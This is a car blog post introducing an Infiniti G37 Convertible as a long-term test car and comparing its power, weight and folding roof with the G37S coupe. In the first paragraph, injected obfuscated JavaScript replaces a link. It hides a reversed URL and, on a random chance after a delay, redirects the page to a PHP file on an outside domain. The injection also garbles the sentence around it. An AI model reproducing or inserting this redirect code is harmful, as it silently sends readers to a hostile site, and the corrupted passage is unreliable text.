New Recruit. Infiniti G37 Convertible. The Management Fleet

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There’s a couple of things I should address about crankandpiston’s new Management Fleet addition before cracking on with the basics.

Yes, at first glance this G37 looks remarkably similar to $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-management-fleet-infiniti-g37s-testing-the-mettle-2/” target=”_blank”>our last Infiniti long-termer, but the subtle horizontal grooves in the roof and that missing ‘S’ badge tell a different story. Summer is coming to a close in the Middle East, the mercury is steadily falling, and it’s safe to venture out into the open without a spare shirt. So naturally, we’ve got ourselves a convertible!

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Secondly, the decision to swap the coupe for the convertible is not just pure laziness on our part: “just get another one that looks similar, no-one will notice the difference”. Au contraire. The PR boys and girls at Infiniti originally asked if we’d like to wait a few months before taking the convertible off their hands, simply so that we could truly feel the benefits of driving a convertible in ‘winter’. We though were keen to see how the convertible stacked up against its roofed counterpart, and this seemed the next logical step.

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That leads us nicely into the third point (and those basics I promised earlier). The new G37 convertible uses the same 3.7-litre V6, seven-speed automatic gearbox and rear-wheel drive system as its hardtop brethren, true, but lacks the same sport-tuned suspension setup you’ll find in the G37S. The convertible pumps out 5bhp less than the coupe (325bhp to 330bhp) and weighs 204kg more (1852kg to 1648kg). Consequently, that does mean a certain amount of dynamism has been lost.

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Fear not though, since crankandpiston’s new recruit comes back swinging with its secret weapon: the metal folding roof. As we recently discovered, there is something to be said for tearing about the countryside in the G37 convertible with the wind rustling through your hair, the rogue coat hanger we seem to have adopted from Infiniti sluicing around in the passenger footwell, and the climate controlled seats working their air-conditioned magic at full blast.

Merely to-ing and fro-ing between work and home amidst the commuter traffic seems a bit of a waste with this model. Methinks an afternoon trip to the coast isn’t too far around the corner…